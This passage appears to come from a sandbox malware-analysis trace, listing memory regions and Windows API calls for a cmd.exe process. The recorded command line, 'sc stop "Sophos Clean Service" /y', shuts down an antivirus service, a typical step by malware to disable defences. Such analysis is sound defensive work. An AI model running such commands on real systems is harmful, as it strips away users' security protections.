entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3117 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3118 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3119 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3120 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3121 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3122 start_va = 0x380000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3123 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3124 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3125 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3126 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3127 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3128 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3129 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3130 start_va = 0x170000 end_va = 0x1d6fff entry_point = 0x170000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3131 start_va = 0x550000 end_va = 0x64ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 3132 start_va = 0x840000 end_va = 0x84ffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3133 start_va = 0x75210000 end_va = 0x75216fff entry_point = 0x75210000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 3134 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3135 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3136 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3137 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3138 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3139 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3140 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3141 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3142 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3143 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3144 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3145 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3146 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3147 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3148 start_va = 0x650000 end_va = 0x7d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 3149 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3150 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3151 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3152 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 3153 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3154 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3155 start_va = 0x850000 end_va = 0x9d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 3156 start_va = 0x9e0000 end_va = 0x1ddffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 3157 start_va = 0x1de0000 end_va = 0x2122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001de0000" filename = "" Region: id = 3158 start_va = 0x2130000 end_va = 0x23fefff entry_point = 0x2130000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 131 os_tid = 0x7f0 [0060.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f9dc | out: lpSystemTimeAsFileTime=0x16f9dc*(dwLowDateTime=0xdef4f2c0, dwHighDateTime=0x1d4abdd)) [0060.656] GetCurrentProcessId () returned 0x7cc [0060.656] GetCurrentThreadId () returned 0x7f0 [0060.656] GetTickCount () returned 0x1c975 [0060.656] QueryPerformanceCounter (in: lpPerformanceCount=0x16f9d4 | out: lpPerformanceCount=0x16f9d4*=1813588600000) returned 1 [0060.657] GetModuleHandleA (lpModuleName=0x0) returned 0x49e60000 [0060.657] __set_app_type (_Type=0x1) [0060.657] __p__fmode () returned 0x75ed31f4 [0060.657] __p__commode () returned 0x75ed31fc [0060.657] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e821a6) returned 0x0 [0060.657] __getmainargs (in: _Argc=0x49e84238, _Argv=0x49e84240, _Env=0x49e8423c, _DoWildCard=0, _StartInfo=0x49e84140 | out: _Argc=0x49e84238, _Argv=0x49e84240, _Env=0x49e8423c) returned 0 [0060.657] GetCurrentThreadId () returned 0x7f0 [0060.658] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x7f0) returned 0x60 [0060.658] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.658] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0060.658] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.658] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0060.658] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16f96c | out: phkResult=0x16f96c*=0x0) returned 0x2 [0060.658] VirtualQuery (in: lpAddress=0x16f9a3, lpBuffer=0x16f93c, dwLength=0x1c | out: lpBuffer=0x16f93c*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.658] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16f93c, dwLength=0x1c | out: lpBuffer=0x16f93c*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0060.658] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16f93c, dwLength=0x1c | out: lpBuffer=0x16f93c*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0060.658] VirtualQuery (in: lpAddress=0x73000, lpBuffer=0x16f93c, dwLength=0x1c | out: lpBuffer=0x16f93c*(BaseAddress=0x73000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0060.658] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16f93c, dwLength=0x1c | out: lpBuffer=0x16f93c*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0060.658] GetConsoleOutputCP () returned 0x1b5 [0060.659] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e84260 | out: lpCPInfo=0x49e84260) returned 1 [0060.659] SetConsoleCtrlHandler (HandlerRoutine=0x49e7e72a, Add=1) returned 1 [0060.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.659] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0060.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.659] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e841ac | out: lpMode=0x49e841ac) returned 1 [0060.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.659] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0060.659] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.659] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e841b0 | out: lpMode=0x49e841b0) returned 1 [0060.660] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.660] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0060.660] GetEnvironmentStringsW () returned 0x562b40* [0060.660] FreeEnvironmentStringsW (penv=0x562b40) returned 1 [0060.660] GetEnvironmentStringsW () returned 0x562b40* [0060.660] FreeEnvironmentStringsW (penv=0x562b40) returned 1 [0060.660] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e8dc | out: phkResult=0x16e8dc*=0x6c) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x0, lpData=0x16e8e8*=0x32, lpcbData=0x16e8e0*=0x1000) returned 0x2 [0060.660] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x4, lpData=0x16e8e8*=0x1, lpcbData=0x16e8e0*=0x4) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x0, lpData=0x16e8e8*=0x1, lpcbData=0x16e8e0*=0x1000) returned 0x2 [0060.660] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x4, lpData=0x16e8e8*=0x0, lpcbData=0x16e8e0*=0x4) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x4, lpData=0x16e8e8*=0x40, lpcbData=0x16e8e0*=0x4) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x4, lpData=0x16e8e8*=0x40, lpcbData=0x16e8e0*=0x4) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x0, lpData=0x16e8e8*=0x40, lpcbData=0x16e8e0*=0x1000) returned 0x2 [0060.661] RegCloseKey (hKey=0x6c) returned 0x0 [0060.661] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16e8dc | out: phkResult=0x16e8dc*=0x6c) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x0, lpData=0x16e8e8*=0x40, lpcbData=0x16e8e0*=0x1000) returned 0x2 [0060.661] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x4, lpData=0x16e8e8*=0x1, lpcbData=0x16e8e0*=0x4) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x0, lpData=0x16e8e8*=0x1, lpcbData=0x16e8e0*=0x1000) returned 0x2 [0060.661] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x4, lpData=0x16e8e8*=0x0, lpcbData=0x16e8e0*=0x4) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x4, lpData=0x16e8e8*=0x9, lpcbData=0x16e8e0*=0x4) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x4, lpData=0x16e8e8*=0x9, lpcbData=0x16e8e0*=0x4) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16e8e4, lpData=0x16e8e8, lpcbData=0x16e8e0*=0x1000 | out: lpType=0x16e8e4*=0x0, lpData=0x16e8e8*=0x9, lpcbData=0x16e8e0*=0x1000) returned 0x2 [0060.661] RegCloseKey (hKey=0x6c) returned 0x0 [0060.661] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f5b [0060.661] srand (_Seed=0x5c3c3f5b) [0060.661] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Clean Service\" /y" [0060.661] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Clean Service\" /y" [0060.661] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.661] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x564bd0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0060.662] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.662] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.662] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.662] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0060.662] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0060.662] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0060.662] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0060.662] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0060.662] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0060.662] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0060.662] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0060.662] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0060.662] GetEnvironmentStringsW () returned 0x562b40* [0060.662] FreeEnvironmentStringsW (penv=0x562b40) returned 1 [0060.662] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.662] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.662] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0060.662] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0060.662] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0060.662] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0060.662] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0060.662] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0060.662] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0060.662] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0060.662] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f6a8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.663] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f6a8, lpFilePart=0x16f6a4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f6a4*="Desktop") returned 0x25 [0060.663] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.663] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f424 | out: lpFindFileData=0x16f424) returned 0x561dd8 [0060.663] FindClose (in: hFindFile=0x561dd8 | out: hFindFile=0x561dd8) returned 1 [0060.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f424 | out: lpFindFileData=0x16f424) returned 0x561dd8 [0060.663] FindClose (in: hFindFile=0x561dd8 | out: hFindFile=0x561dd8) returned 1 [0060.663] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0060.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f424 | out: lpFindFileData=0x16f424) returned 0x561dd8 [0060.663] FindClose (in: hFindFile=0x561dd8 | out: hFindFile=0x561dd8) returned 1 [0060.663] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.663] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0060.663] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0060.663] GetEnvironmentStringsW () returned 0x562b40* [0060.663] FreeEnvironmentStringsW (penv=0x562b40) returned 1 [0060.663] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.664] GetConsoleOutputCP () returned 0x1b5 [0060.664] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e84260 | out: lpCPInfo=0x49e84260) returned 1 [0060.664] GetUserDefaultLCID () returned 0x409 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e84950, cchData=8 | out: lpLCData=":") returned 2 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16f7e8, cchData=128 | out: lpLCData="0") returned 2 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16f7e8, cchData=128 | out: lpLCData="0") returned 2 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16f7e8, cchData=128 | out: lpLCData="1") returned 2 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e84940, cchData=8 | out: lpLCData="/") returned 2 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e84d80, cchData=32 | out: lpLCData="Mon") returned 4 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e84d40, cchData=32 | out: lpLCData="Tue") returned 4 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e84d00, cchData=32 | out: lpLCData="Wed") returned 4 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e84cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e84c80, cchData=32 | out: lpLCData="Fri") returned 4 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e84c40, cchData=32 | out: lpLCData="Sat") returned 4 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e84c00, cchData=32 | out: lpLCData="Sun") returned 4 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e84930, cchData=8 | out: lpLCData=".") returned 2 [0060.665] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e84920, cchData=8 | out: lpLCData=",") returned 2 [0060.665] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0060.666] GetConsoleTitleW (in: lpConsoleTitle=0x565920, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.666] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.666] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0060.666] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0060.666] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0060.667] _wcsicmp (_String1="sc", _String2=")") returned 74 [0060.667] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0060.667] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0060.667] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0060.667] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0060.667] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0060.667] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0060.668] GetConsoleTitleW (in: lpConsoleTitle=0x16f4e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.668] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0060.668] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.669] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.669] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.669] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.669] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.669] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.669] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.669] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.669] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.669] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.669] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.669] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.669] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.669] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.669] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.669] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.669] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.669] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.669] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.669] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.669] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.669] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.669] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.669] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.669] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.669] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.669] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.669] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.669] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.669] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.669] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.669] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.669] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.669] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.669] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.669] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.669] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.669] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.669] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.669] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.669] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.670] _wcsicmp (_String1="sc", _String2="DIR") returned 15 